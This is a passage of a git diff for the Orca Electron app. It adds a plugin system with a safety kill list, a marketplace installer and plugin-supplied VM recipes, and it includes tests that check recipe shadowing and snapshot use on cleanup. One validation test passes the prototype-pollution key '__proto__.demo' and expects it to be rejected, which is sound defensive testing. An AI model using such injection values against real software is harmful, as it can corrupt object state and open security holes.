+  normalizePluginConsents,
+  normalizePluginIdList
+} from '../shared/plugins/plugin-consent-state'
 import {
   recordCoalescedCrashBreadcrumb,
   recordCrashBreadcrumb
@@ -286,7 +300,20 @@ let unsubscribeSystemResumeBroadcast: (() => void) | null = null
 let watcherShutdownPromise: Promise<void> | null = null
 let watcherShutdownDone = false
 let automations: AutomationService | null = null
+let pluginService: PluginService | null = null
+let pluginKillListService: PluginKillListService | null = null
+let pluginMarketplaceService: PluginMarketplaceService | null = null
+let pluginMarketplaceInstaller: PluginMarketplaceInstaller | null = null
 let keybindings: KeybindingService | null = null
+
+function emitPluginWorktreeLifecycle(event: RuntimeWorktreeLifecycleEvent): void {
+  pluginService?.emitEvent(
+    event.kind === 'created' ? 'worktree.created' : 'worktree.removed',
+    event.kind === 'created'
+      ? { worktreeId: event.worktreeId, path: event.path, branch: event.branch }
+      : { worktreeId: event.worktreeId, path: event.path }
+  )
+}
 // Why: a reload intent must not leak to a later load; the recovery reload re-fires did-finish-load, so its flag spares live PTYs from the orphan sweep (#5787).
 const expectedRendererReload = createWebContentsTimedFlag()
 const recoveryReloadInFlight = createWebContentsTimedFlag()
@@ -1177,7 +1204,11 @@ function openMainWindow(): BrowserWindow {
       },
       onOrcaProfileAuthMutation: () => desktopRelayService?.authMutated(),
       onBeforeOrcaProfileSignOut: () => desktopRelayService?.fenceAndCloseNow()
-    }
+    },
+    pluginService ?? undefined,
+    pluginMarketplaceService && pluginMarketplaceInstaller
+      ? { marketplace: pluginMarketplaceService, installer: pluginMarketplaceInstaller }
+      : undefined
   )
   automations.setWebContents(window.webContents)
   automations.start()
@@ -1201,7 +1232,8 @@ function openMainWindow(): BrowserWindow {
       isRecoveryReloadInFlight,
       onBeforeUpdateQuit: () =>
         preserveAgentAuthBeforeRestart({ codexRuntimeHome, claudeRuntimeAuth, store }),
-      updateInstallMode: resolveUpdateInstallMode(isServeMode)
+      updateInstallMode: resolveUpdateInstallMode(isServeMode),
+      onWorktreeLifecycle: emitPluginWorktreeLifecycle
     }
   )
   rateLimits.attach(window)
@@ -2229,6 +2261,137 @@ app.whenReady().then(async () => {
     prepareForCodexLaunch: prepareCodexRuntimeHomeForLaunch,
     prepareForClaudeLaunch: (target) => claudeRuntimeAuth!.prepareForClaudeLaunch(target)
   })
+  const pluginSystemStartupStartedAt = performance.now()
+  pluginKillListService = new PluginKillListService({
+    pluginsDataDir: getPluginsDataDir(app.getPath('userData'))
+  })
+  await pluginKillListService.initialize()
+  pluginMarketplaceService = new PluginMarketplaceService({
+    pluginsDataDir: getPluginsDataDir(app.getPath('userData')),
+    getKillListEntry: (pluginKey) => pluginKillListService?.find(pluginKey) ?? null
+  })
+  const requestOfficialMarketplaceSeed = (): void => {
+    if (store?.getSettings().pluginSystemEnabled !== true) {
+      return
+    }
+    void pluginMarketplaceService?.seedOfficialSource().catch((error) => {
+      console.warn('[plugins] failed to configure the official marketplace:', error)
+    })
+  }
+  pluginMarketplaceInstaller = new PluginMarketplaceInstaller({
+    marketplace: pluginMarketplaceService,
+    userDataPath: app.getPath('userData'),
+    hostVersion: app.getVersion(),
+    blockedPluginReason: (pluginKey) => pluginKillListService?.reason(pluginKey) ?? null
+  })
+  pluginService = new PluginService({
+    userDataPath: app.getPath('userData'),
+    hostVersion: app.getVersion(),
+    // Feature flag: with the setting off, discovery returns nothing and no
+    // plugin code path runs at all.
+    isPluginSystemEnabled: () => store?.getSettings().pluginSystemEnabled === true,
+    getDisabledPlugins: () => normalizePluginIdList(store?.getSettings().disabledPlugins),
+    getPluginConsents: () => normalizePluginConsents(store?.getSettings().pluginConsents),
+    getDevPluginPaths: () => normalizePluginIdList(store?.getSettings().devPluginPaths),
+    getKeybindings: () => keybindings?.getOverrides() ?? {},
+    getPluginKillListEntry: (pluginKey) => pluginKillListService?.find(pluginKey) ?? null,
+    hostEntryPath: resolvePluginHostEntryPath(app.getAppPath(), app.isPackaged)
+  })
+  const bundledPluginBootstrap = new PluginBundledBootstrapCoordinator({
+    root: resolveBundledPluginRoot({
+      isPackaged: app.isPackaged,
+      resourcesPath: process.resourcesPath,
+      appPath: app.getAppPath()
+    }),
+    userDataPath: app.getPath('userData'),
+    hostVersion: app.getVersion(),
+    isEnabled: () => store?.getSettings().pluginSystemEnabled === true,
+    blockedPluginReason: (pluginKey) => pluginKillListService?.reason(pluginKey) ?? null,
+    refreshPlugins: () => pluginService?.refresh() ?? Promise.resolve()
+  })
+  const requestBundledPluginBootstrap = (): void => {
+    void bundledPluginBootstrap
+      .request()
+      .then((result) => {
+        for (const failure of result?.errors ?? []) {
+          console.warn(`[plugins] failed to publish bundled ${failure.pluginKey}:`, failure.error)
+        }
+      })
+      .catch((error) => {
+        console.warn('[plugins] failed to bootstrap bundled plugins:', error)
+      })
+  }
+  pluginKillListService.onChanged(() => {
+    void pluginService?.reconcileActivationState().catch((error) => {
+      console.warn('[plugins] failed to apply plugin safety-list refresh:', error)
+    })
+  })
+  store.onSettingsChanged((updates) => {
+    if (updates.pluginSystemEnabled === true) {
+      requestBundledPluginBootstrap()
+      requestOfficialMarketplaceSeed()
+    }
+    if (app.isPackaged && updates.pluginSystemEnabled === true) {
+      void pluginKillListService?.refresh().catch((error) => {
+        console.warn('[plugins] failed to refresh plugin safety list; using cached state:', error)
+      })
+    }
+  })
+  // Why: headless `orca serve` clients reach plugins through the runtime RPC
+  // methods, which resolve the service via this module-level setter. Consent
+  // over RPC uses the same hash-keyed write path as the desktop dialog.
+  setPluginServiceForRpc(pluginService, {
+    applyConsent: (request) =>
+      applyPluginConsent({ store: store!, pluginService: pluginService!, ...request }),
+    applyEnablement: (pluginKey, enabled) =>
+      applyPluginEnablement({ store: store!, pluginService: pluginService!, pluginKey, enabled })
+  })
+  // Lazy kernel: initialize() only discovers manifests — no worker forks, no
+  // panel reads. Zero plugin code runs before an explicit trigger.
+  void pluginService
+    .initialize()
+    .then(() => {
+      logStartupMilestone('plugin-system-initialized', {
+        durationMs: Number((performance.now() - pluginSystemStartupStartedAt).toFixed(2)),
+        installedPlugins: pluginService?.getDiscovered().length ?? 0
+      })
+    })
+    .catch((error) => {
+      console.warn('[plugins] failed to initialize plugin service:', error)
+    })
+  if (app.isPackaged && store?.getSettings().pluginSystemEnabled === true) {
+    void pluginKillListService.refresh().catch((error) => {
+      console.warn('[plugins] failed to refresh plugin safety list; using cached state:', error)
+    })
+  }
+  pluginService.onChanged((event) => {
+    if (
+      event.contentPacksChanged &&
+      setMainPluginLanguagePacks(pluginService?.contentPacks.languagePacks.list() ?? [])
+    ) {
+      void setMainUiLanguage(store!.getSettings().uiLanguage).then(() => rebuildAppMenu())
+    }
+    for (const window of BrowserWindow.getAllWindows()) {
+      if (!window.isDestroyed()) {
+        window.webContents.send('plugins:changed', event)
+      }
+    }
+  })
+  requestBundledPluginBootstrap()
+  requestOfficialMarketplaceSeed()
+  // v0 plugin event seams: agent status (hook pipeline tap) + worktree
+  // lifecycle (runtime tap). Server-side filtered per plugin subscription.
+  agentHookServer.subscribeEnrichedStatus((enriched) => {
+    pluginService?.emitEvent('agent.status.changed', {
+      worktreeId: enriched.worktreeId ?? null,
+      paneKey: enriched.paneKey,
+      state: enriched.payload.state,
+      receivedAt: enriched.receivedAt
+    })
+  })
+  runtimeService.onWorktreeLifecycle((event) => {
+    emitPluginWorktreeLifecycle(event)
+  })
   starNag = new StarNagService(store, stats)
   starNag.start()
   starNag.registerIpcHandlers()
@@ -2577,6 +2740,16 @@ app.on('will-quit', (e) => {
   // Why: stats.flush() must precede killAllPty() so still-running agents emit synthetic agent_stop events (killAllPty skips runtime.onPtyExit()).
   starNag?.stop()
   automations?.stop()
+  // Why: plugin hosts are forked children; dispose sends shutdown and
+  // escalates to SIGKILL so they cannot outlive the app. The promise joins
+  // the teardown barrier below — quitting before it resolves would let
+  // Electron exit first and orphan the hosts.
+  setPluginServiceForRpc(null)
+  pluginKillListService = null
+  pluginMarketplaceService = null
+  pluginMarketplaceInstaller = null
+  const pluginHostShutdown = pluginService?.dispose() ?? Promise.resolve()
+  pluginService = null
   setUnreadDockBadgeCount(0)
   agentHookServer.stop()
   // Why: cancels relay restart/reinstall timers and kills wsl.exe children deterministically, not via stdio-pipe teardown.
@@ -2623,7 +2796,8 @@ app.on('will-quit', (e) => {
       { name: 'daemon', promise: daemonTeardown },
       { name: 'runtime-rpc', promise: rpcStopAndClear },
       { name: 'watchers', promise: watcherShutdown },
-      { name: 'emulator', promise: emulatorShutdown }
+      { name: 'emulator', promise: emulatorShutdown },
+      { name: 'plugin-hosts', promise: pluginHostShutdown }
     ])
       .then((pendingTeardowns) => {
         if (pendingTeardowns.length > 0) {
diff --git a/src/main/ipc/ephemeral-vm-recipe-context.ts b/src/main/ipc/ephemeral-vm-recipe-context.ts
index aba6c7307..c922d6f13 100644
--- a/src/main/ipc/ephemeral-vm-recipe-context.ts
+++ b/src/main/ipc/ephemeral-vm-recipe-context.ts
@@ -26,7 +26,11 @@ export type RecipeRepoResult =
   | { ok: true; repo: Exclude<ReturnType<Store['getRepo']>, null | undefined> }
   | { ok: false; message: string; doctor: (recipeId: string) => EphemeralVmRecipeDoctorResult }
 
-export function listRecipes(store: Store, repoId: string): EphemeralVmRecipeListResult {
+export function listRecipes(
+  store: Store,
+  repoId: string,
+  pluginRecipes: readonly OrcaVmRecipe[] = []
+): EphemeralVmRecipeListResult {
   const repo = store.getRepo(repoId)
   if (!repo || isFolderRepo(repo)) {
     return {
@@ -50,12 +54,15 @@ export function listRecipes(store: Store, repoId: string): EphemeralVmRecipeList
   return {
     status: 'ok',
     repoPath: repo.path,
-    recipes: hooks?.environmentRecipes ?? [],
+    recipes: combineEphemeralVmRecipes(hooks?.environmentRecipes ?? [], pluginRecipes),
     diagnostics: hooks?.environmentRecipeDiagnostics ?? []
   }
 }
 
-export function listRecipeCatalog(store: Store): EphemeralVmRecipeCatalogEntry[] {
+export function listRecipeCatalog(
+  store: Store,
+  pluginRecipes: readonly OrcaVmRecipe[] = []
+): EphemeralVmRecipeCatalogEntry[] {
   return store
     .getRepos()
     .filter((repo) => isGitRepoKind(repo) && !isFolderRepo(repo) && !repo.connectionId)
@@ -65,7 +72,7 @@ export function listRecipeCatalog(store: Store): EphemeralVmRecipeCatalogEntry[]
         repoId: repo.id,
         repoName: repo.displayName,
         repoPath: repo.path,
-        recipes: hooks?.environmentRecipes ?? [],
+        recipes: combineEphemeralVmRecipes(hooks?.environmentRecipes ?? [], pluginRecipes),
         diagnostics: hooks?.environmentRecipeDiagnostics ?? []
       }
     })
@@ -103,15 +110,41 @@ export function getRuntimeRecipeContext(
   if (!repo.ok) {
     throw new Error(repo.message)
   }
-  const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
-    (entry) => entry.id === runtime.recipeId
-  )
+  // Pre-snapshot runtimes can only be attributed to repo-owned recipes. Never
+  // substitute a later same-id plugin recipe for an older runtime lifecycle.
+  const recipe =
+    runtime.recipe ??
+    (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
+      (entry) => entry.id === runtime.recipeId
+    )
   if (!recipe) {
     throw new Error(`Recipe not found: ${runtime.recipeId}`)
   }
   return { runtime, repo, recipe }
 }
 
+export function resolveRecipeForRepo(
+  repoPath: string,
+  recipeId: string,
+  pluginRecipes: readonly OrcaVmRecipe[] = []
+): OrcaVmRecipe | null {
+  return (
+    combineEphemeralVmRecipes(loadHooks(repoPath)?.environmentRecipes ?? [], pluginRecipes).find(
+      (recipe) => recipe.id === recipeId
+    ) ?? null
+  )
+}
+
+/** Project-owned recipes are authoritative for their repository and shadow
+ * same-id global plugin recipes without disabling the rest of the pack. */
+export function combineEphemeralVmRecipes(
+  repoRecipes: readonly OrcaVmRecipe[],
+  pluginRecipes: readonly OrcaVmRecipe[]
+): OrcaVmRecipe[] {
+  const repoIds = new Set(repoRecipes.map((recipe) => recipe.id))
+  return [...repoRecipes, ...pluginRecipes.filter((recipe) => !repoIds.has(recipe.id))]
+}
+
 function failedRecipeRepo(repoPath: string | null, message: string): RecipeRepoResult {
   return {
     ok: false,
diff --git a/src/main/ipc/ephemeral-vm-runtime-handlers.ts b/src/main/ipc/ephemeral-vm-runtime-handlers.ts
index f3ce3caec..dea6d8117 100644
--- a/src/main/ipc/ephemeral-vm-runtime-handlers.ts
+++ b/src/main/ipc/ephemeral-vm-runtime-handlers.ts
@@ -1,6 +1,5 @@
 import { app, ipcMain } from 'electron'
 import type { Store } from '../persistence'
-import { loadHooks } from '../hooks'
 import {
   listEphemeralVmRuntimes,
   updateEphemeralVmRuntimeStatus
@@ -28,7 +27,7 @@ import {
   disconnectRuntimeOwnedSshTarget,
   removeRuntimeOwnedSshTarget
 } from '../ephemeral-vm-runtime-ssh'
-import { getRecipeRepo, getRuntimeRecipeContext } from './ephemeral-vm-recipe-context'
+import { getRuntimeRecipeContext } from './ephemeral-vm-recipe-context'
 import { invalidateRuntimeEnvironmentTransport } from './runtime-environments'
 
 export type EphemeralVmCleanupCommandResult = {
@@ -74,30 +73,21 @@ export function registerEphemeralVmRuntimeHandlers(store: Store): void {
       if (!runtime.repoId) {
         throw new Error(`Ephemeral VM runtime has no repo id: ${args.runtimeId}`)
       }
-      const repo = getRecipeRepo(store, runtime.repoId)
-      if (!repo.ok) {
+      let resolved: ReturnType<typeof getRuntimeRecipeContext>
+      try {
+        resolved = getRuntimeRecipeContext(store, userDataPath, runtime.id)
+      } catch (error) {
         return updateEphemeralVmRuntimeStatus(userDataPath, runtime.id, {
           status: 'cleanup_failed',
           cleanupStatus: 'failed',
           cleanupLastAttemptAt: Date.now(),
-          cleanupLastError: repo.message
-        })
-      }
-      const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
-        (entry) => entry.id === runtime.recipeId
-      )
-      if (!recipe) {
-        return updateEphemeralVmRuntimeStatus(userDataPath, runtime.id, {
-          status: 'cleanup_failed',
-          cleanupStatus: 'failed',
-          cleanupLastAttemptAt: Date.now(),
-          cleanupLastError: `Recipe not found: ${runtime.recipeId}`
+          cleanupLastError: error instanceof Error ? error.message : String(error)
         })
       }
       const result = await cleanupEphemeralVmRuntime({
         userDataPath,
-        repoPath: repo.repo.path,
-        recipe,
+        repoPath: resolved.repo.repo.path,
+        recipe: resolved.recipe,
         runtimeId: runtime.id
       })
       if (result.ok && runtime.runtimeEnvironmentId) {
@@ -217,7 +207,7 @@ export function registerEphemeralVmRuntimeHandlers(store: Store): void {
 
   ipcMain.handle(
     'ephemeralVm:getCleanupCommand',
-    (_event, args: { runtimeId: string }): EphemeralVmCleanupCommandResult => {
+    async (_event, args: { runtimeId: string }): Promise<EphemeralVmCleanupCommandResult> => {
       const userDataPath = app.getPath('userData')
       const resolved = getRuntimeRecipeContext(store, userDataPath, args.runtimeId)
       const payload = buildEphemeralVmRecipeCleanupPayload({
diff --git a/src/main/ipc/ephemeral-vm.test.ts b/src/main/ipc/ephemeral-vm.test.ts
index 45f980bad..8df189a4a 100644
--- a/src/main/ipc/ephemeral-vm.test.ts
+++ b/src/main/ipc/ephemeral-vm.test.ts
@@ -4,6 +4,7 @@ import { join } from 'node:path'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer, PAIRING_OFFER_VERSION } from '../../shared/pairing'
 import { listEnvironments } from '../../shared/runtime-environment-store'
+import { upsertEphemeralVmRuntime } from '../../shared/ephemeral-vm-runtime-store'
 
 const handlers = new Map<string, (_event: unknown, args: never) => Promise<unknown> | unknown>()
 const {
@@ -92,6 +93,15 @@ function nodeCommand(scriptPath: string): string {
   return `"${process.execPath}" "${scriptPath}"`
 }
 
+function pluginServiceWithRecipes(
+  recipes: { pluginKey: string; recipe: Record<string, unknown> }[]
+) {
+  return {
+    whenReady: vi.fn().mockResolvedValue(undefined),
+    contentPacks: { vmRecipes: { list: vi.fn(() => recipes) } }
+  }
+}
+
 describe('registerEphemeralVmHandlers', () => {
   const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
 
@@ -198,6 +208,132 @@ describe('registerEphemeralVmHandlers', () => {
     ])
   })
 
+  it('merges approved plugin recipes while repository recipes shadow matching ids', async () => {
+    const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
+    writeFileSync(
+      join(repoPath, 'orca.yaml'),
+      [
+        'environmentRecipes:',
+        '  - id: shared',
+        '    name: Repository Recipe',
+        '    create: repo-create'
+      ].join('\n')
+    )
+    const pluginService = pluginServiceWithRecipes([
+      {
+        pluginKey: 'orca-samples.recipes',
+        recipe: { id: 'shared', name: 'Plugin Shared', create: 'plugin-shared' }
+      },
+      {
+        pluginKey: 'orca-samples.recipes',
+        recipe: { id: 'global', name: 'Plugin Global', create: 'plugin-global' }
+      }
+    ])
+
+    registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
+    const result = (await handlers.get('ephemeralVm:listRecipes')?.(null, {
+      repoId: 'repo-1'
+    } as never)) as { recipes: { id: string; name: string }[] }
+
+    expect(pluginService.whenReady).toHaveBeenCalled()
+    expect(result.recipes).toMatchObject([
+      { id: 'shared', name: 'Repository Recipe' },
+      { id: 'global', name: 'Plugin Global' }
+    ])
+  })
+
+  it('uses an immutable plugin recipe snapshot after the plugin is removed', async () => {
+    const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
+    const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
+    getPathMock.mockReturnValue(userDataPath)
+    const startPath = join(repoPath, 'start.js')
+    const destroyPath = join(repoPath, 'destroy.js')
+    writeFileSync(
+      startPath,
+      `console.log(${JSON.stringify(
+        JSON.stringify({
+          schemaVersion: 1,
+          pairingCode: makePairingCode(),
+          projectRoot: '/workspace/repo'
+        })
+      )})`
+    )
+    writeFileSync(destroyPath, "require('fs').writeFileSync('plugin-cleaned.txt', 'yes')")
+    const registrations = [
+      {
+        pluginKey: 'orca-samples.recipes',
+        recipe: {
+          id: 'plugin-cloud',
+          name: 'Plugin Cloud',
+          create: nodeCommand(startPath),
+          destroy: nodeCommand(destroyPath)
+        }
+      }
+    ]
+    const pluginService = pluginServiceWithRecipes(registrations)
+    registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
+
+    const provisioned = (await handlers.get('ephemeralVm:provision')?.(null, {
+      repoId: 'repo-1',
+      recipeId: 'plugin-cloud'
+    } as never)) as { ok: true; runtime: { id: string; recipe?: { id: string } } }
+    registrations.splice(0)
+    const cleaned = await handlers.get('ephemeralVm:cleanup')?.(null, {
+      runtimeId: provisioned.runtime.id
+    } as never)
+
+    expect(provisioned.runtime.recipe).toMatchObject({ id: 'plugin-cloud' })
+    expect(cleaned).toEqual(expect.objectContaining({ status: 'cleaned' }))
+    expect(readFileSync(join(repoPath, 'plugin-cleaned.txt'), 'utf8')).toBe('yes')
+  })
+
+  it('never substitutes a later same-id plugin recipe for a legacy runtime', async () => {
+    const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
+    const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
+    getPathMock.mockReturnValue(userDataPath)
+    const pluginDestroyPath = join(repoPath, 'plugin-destroy.js')
+    writeFileSync(
+      pluginDestroyPath,
+      "require('fs').writeFileSync('plugin-destroy-ran.txt', 'unsafe')"
+    )
+    upsertEphemeralVmRuntime(userDataPath, {
+      id: 'legacy-runtime',
+      recipeId: 'shared-id',
+      repoId: 'repo-1',
+      status: 'running',
+      cleanupStatus: 'not_started',
+      createdAt: 1,
+      updatedAt: 1,
+      recipeResult: {
+        schemaVersion: 1,
+        pairingCode: makePairingCode(),
+        projectRoot: '/workspace/repo'
+      }
+    })
+    const pluginService = pluginServiceWithRecipes([
+      {
+        pluginKey: 'orca-samples.recipes',
+        recipe: {
+          id: 'shared-id',
+          name: 'Later Plugin Recipe',
+          create: 'create',
+          destroy: nodeCommand(pluginDestroyPath)
+        }
+      }
+    ])
+    registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
+
+    const cleaned = await handlers.get('ephemeralVm:cleanup')?.(null, {
+      runtimeId: 'legacy-runtime'
+    } as never)
+
+    expect(cleaned).toMatchObject({
+      status: 'cleanup_failed',
+      cleanupLastError: 'Recipe not found: shared-id'
+    })
+    expect(existsSync(join(repoPath, 'plugin-destroy-ran.txt'))).toBe(false)
+  })
+
   it('provisions a recipe and persists the ephemeral runtime', async () => {
     const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
     const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
diff --git a/src/main/ipc/ephemeral-vm.ts b/src/main/ipc/ephemeral-vm.ts
index 9d071989c..f75c9c77d 100644
--- a/src/main/ipc/ephemeral-vm.ts
+++ b/src/main/ipc/ephemeral-vm.ts
@@ -1,6 +1,5 @@
 import { app, ipcMain } from 'electron'
 import type { Store } from '../persistence'
-import { loadHooks } from '../hooks'
 import {
   getEphemeralVmRecipeResultConnection,
   getEphemeralVmRecipeResultWarnings,
@@ -27,9 +26,12 @@ import {
   getRecipeRepo,
   listRecipeCatalog,
   listRecipes,
+  resolveRecipeForRepo,
   type EphemeralVmRecipeCatalogEntry
 } from './ephemeral-vm-recipe-context'
 import { registerEphemeralVmRuntimeHandlers } from './ephemeral-vm-runtime-handlers'
+import type { PluginService } from '../plugins/plugin-service'
+import { getApprovedPluginVmRecipes } from '../plugins/plugin-approved-vm-recipes'
 
 const activeProvisionControllers = new Map<string, AbortController>()
 
@@ -57,7 +59,7 @@ export type EphemeralVmProvisionIpcResult =
       stdout: string
     }
 
-export function registerEphemeralVmHandlers(store: Store): void {
+export function registerEphemeralVmHandlers(store: Store, pluginService?: PluginService): void {
   ipcMain.removeHandler('ephemeralVm:listRecipes')
   ipcMain.removeHandler('ephemeralVm:listRecipeCatalog')
   ipcMain.removeHandler('ephemeralVm:doctor')
@@ -65,25 +67,32 @@ export function registerEphemeralVmHandlers(store: Store): void {
   ipcMain.removeHandler('ephemeralVm:cancelProvision')
   registerEphemeralVmRuntimeHandlers(store)
 
-  ipcMain.handle('ephemeralVm:listRecipes', (_event, args: { repoId: string }) => {
-    return listRecipes(store, args.repoId)
-  })
-
-  ipcMain.handle('ephemeralVm:listRecipeCatalog', (): EphemeralVmRecipeCatalogEntry[] => {
-    return listRecipeCatalog(store)
+  ipcMain.handle('ephemeralVm:listRecipes', async (_event, args: { repoId: string }) => {
+    return listRecipes(store, args.repoId, await getApprovedPluginVmRecipes(pluginService))
   })
 
+  ipcMain.handle(
+    'ephemeralVm:listRecipeCatalog',
+    async (): Promise<EphemeralVmRecipeCatalogEntry[]> => {
+      return listRecipeCatalog(store, await getApprovedPluginVmRecipes(pluginService))
+    }
+  )
+
   ipcMain.handle(
     'ephemeralVm:doctor',
-    (_event, args: { repoId: string; recipeId: string }): EphemeralVmRecipeDoctorResult => {
+    async (
+      _event,
+      args: { repoId: string; recipeId: string }
+    ): Promise<EphemeralVmRecipeDoctorResult> => {
       const repo = getRecipeRepo(store, args.repoId)
       if (!repo.ok) {
         return repo.doctor(args.recipeId)
       }
+      const pluginRecipes = await getApprovedPluginVmRecipes(pluginService)
       return doctorEphemeralVmRecipe({
         repoPath: repo.repo.path,
         recipeId: args.recipeId,
-        recipes: loadHooks(repo.repo.path)?.environmentRecipes ?? [],
+        recipes: listRecipes(store, args.repoId, pluginRecipes).recipes,
         localExecutionSupported: true
       })
     }
@@ -106,8 +115,10 @@ export function registerEphemeralVmHandlers(store: Store): void {
       if (!repo.ok) {
         return { ok: false, error: repo.message, stdout: '', stderr: '' }
       }
-      const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
-        (entry) => entry.id === args.recipeId
+      const recipe = resolveRecipeForRepo(
+        repo.repo.path,
+        args.recipeId,
+        await getApprovedPluginVmRecipes(pluginService)
       )
       if (!recipe) {
         return { ok: false, error: `Recipe not found: ${args.recipeId}`, stdout: '', stderr: '' }
diff --git a/src/main/ipc/keybindings.test.ts b/src/main/ipc/keybindings.test.ts
index 3f0aa37aa..ec8016287 100644
--- a/src/main/ipc/keybindings.test.ts
+++ b/src/main/ipc/keybindings.test.ts
@@ -75,6 +75,23 @@ describe('registerKeybindingHandlers', () => {
     expect(authorizeExternalPathMock).toHaveBeenCalledWith(snapshot.path)
   })
 
+  it('reconciles plugin command conflicts after a shortcut edit', () => {
+    const onChanged = vi.fn()
+    const setActionBindings = vi.fn(() => snapshot)
+    registerKeybindingHandlers({ setActionBindings } as never, onChanged)
+
+    expect(
+      getHandler('keybindings:setAction')(
+        {},
+        {
+          actionId: 'plugin:orca-samples.tasks/open',
+          bindings: ['Mod+Shift+T']
+        }
+      )
+    ).toBe(snapshot)
+    expect(onChanged).toHaveBeenCalledOnce()
+  })
+
   it('authorizes the keybindings file before opening it outside Orca', async () => {
     openPathMock.mockResolvedValue('')
     registerKeybindingHandlers({ ensureFile: vi.fn(() => snapshot) } as never)
diff --git a/src/main/ipc/keybindings.ts b/src/main/ipc/keybindings.ts
index ae73c2b15..7a71f3116 100644
--- a/src/main/ipc/keybindings.ts
+++ b/src/main/ipc/keybindings.ts
@@ -13,7 +13,10 @@ function broadcastKeybindingsChanged(snapshot: KeybindingFileSnapshot): void {
   rebuildAppMenu()
 }
 
-export function registerKeybindingHandlers(service: KeybindingService): void {
+export function registerKeybindingHandlers(
+  service: KeybindingService,
+  onChanged?: () => void
+): void {
   ipcMain.handle('keybindings:get', () => service.getSnapshot())
 
   ipcMain.handle('keybindings:ensureFile', () => {
@@ -22,6 +25,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
     // workspace. Opening it in the editor still needs normal fs IPC access.
     authorizeExternalPath(snapshot.path)
     broadcastKeybindingsChanged(snapshot)
+    onChanged?.()
     return snapshot
   })
 
@@ -30,6 +34,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
     (_event, args: { actionId: KeybindingActionId; bindings: string[] | null }) => {
       const snapshot = service.setActionBindings(args.actionId, args.bindings)
       broadcastKeybindingsChanged(snapshot)
+      onChanged?.()
       return snapshot
     }
   )
@@ -37,6 +42,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
   ipcMain.handle('keybindings:reload', () => {
     const snapshot = service.reload()
     broadcastKeybindingsChanged(snapshot)
+    onChanged?.()
     return snapshot
   })
 
diff --git a/src/main/ipc/plugin-marketplaces.test.ts b/src/main/ipc/plugin-marketplaces.test.ts
new file mode 100644
index 000000000..b1badba09
--- /dev/null
+++ b/src/main/ipc/plugin-marketplaces.test.ts
@@ -0,0 +1,172 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import type { PluginMarketplaceInstaller } from '../plugins/plugin-marketplace-installer'
+import type { PluginMarketplaceService } from '../plugins/plugin-marketplace-service'
+import type { PluginService } from '../plugins/plugin-service'
+
+type IpcHandler = (event: unknown, args?: unknown) => unknown
+
+const electronMocks = vi.hoisted(() => ({ handle: vi.fn() }))
+vi.mock('electron', () => ({ ipcMain: { handle: electronMocks.handle } }))
+
+import {
+  registerPluginMarketplaceHandlers,
+  type PluginMarketplaceHandlerServices
+} from './plugin-marketplaces'
+
+const SOURCE_ID = 'a'.repeat(32)
+const MARKETPLACE_COMMIT = 'b'.repeat(40)
+const PLUGIN_COMMIT = 'c'.repeat(40)
+const PLUGIN_KEY = 'orca-samples.demo'
+
+let handlers: Map<string, IpcHandler>
+
+function createServices(): PluginMarketplaceHandlerServices {
+  return {
+    marketplace: {
+      listSources: vi.fn().mockResolvedValue([{ id: SOURCE_ID }]),
+      addSource: vi.fn().mockResolvedValue({ id: SOURCE_ID }),
+      removeSource: vi.fn().mockResolvedValue(true),
+      refreshSource: vi.fn().mockResolvedValue({ id: SOURCE_ID }),
+      refreshAll: vi.fn().mockResolvedValue([{ id: SOURCE_ID }]),
+      listPlugins: vi.fn().mockResolvedValue([{ pluginKey: PLUGIN_KEY }])
+    } as unknown as PluginMarketplaceService,
+    installer: {
+      preview: vi.fn().mockResolvedValue({ pluginKey: PLUGIN_KEY }),
+      install: vi.fn().mockResolvedValue({ ok: true, pluginKey: PLUGIN_KEY }),
+      previewInstalledUpdate: vi.fn().mockResolvedValue({ pluginKey: PLUGIN_KEY }),
+      rollback: vi.fn().mockResolvedValue({ ok: true, pluginKey: PLUGIN_KEY })
+    } as unknown as PluginMarketplaceInstaller
+  }
+}
+
+function createPluginService(): PluginService {
+  return {
+    deactivatePlugin: vi.fn().mockResolvedValue(undefined),
+    refresh: vi.fn().mockResolvedValue(undefined)
+  } as unknown as PluginService
+}
+
+async function invoke(channel: string, args?: unknown): Promise<unknown> {
+  const handler = handlers.get(channel)
+  if (!handler) {
+    throw new Error(`missing IPC handler: ${channel}`)
+  }
+  return handler({}, args)
+}
+
+beforeEach(() => {
+  handlers = new Map()
+  electronMocks.handle.mockReset()
+  electronMocks.handle.mockImplementation((channel: string, handler: IpcHandler) => {
+    handlers.set(channel, handler)
+  })
+})
+
+describe('plugin marketplace IPC authority', () => {
+  it('validates every mutating or plugin-selecting request strictly', async () => {
+    registerPluginMarketplaceHandlers(createPluginService(), createServices())
+
+    await expect(
+      invoke('plugins:addMarketplace', {
+        kind: 'git',
+        url: 'https://example.com/marketplace.git',
+        ref: 'main',
+        unexpected: true
+      })
+    ).rejects.toThrow()
+    await expect(
+      invoke('plugins:removeMarketplace', { sourceId: SOURCE_ID, unexpected: true })
+    ).rejects.toThrow()
+    await expect(
+      invoke('plugins:refreshMarketplaces', { sourceId: 'not-a-source' })
+    ).rejects.toThrow()
+    await expect(
+      invoke('plugins:previewMarketplacePlugin', {
+        marketplaceSourceId: SOURCE_ID,
+        pluginKey: '__proto__.demo'
+      })
+    ).rejects.toThrow()
+    await expect(
+      invoke('plugins:installMarketplacePlugin', {
+        marketplaceSourceId: SOURCE_ID,
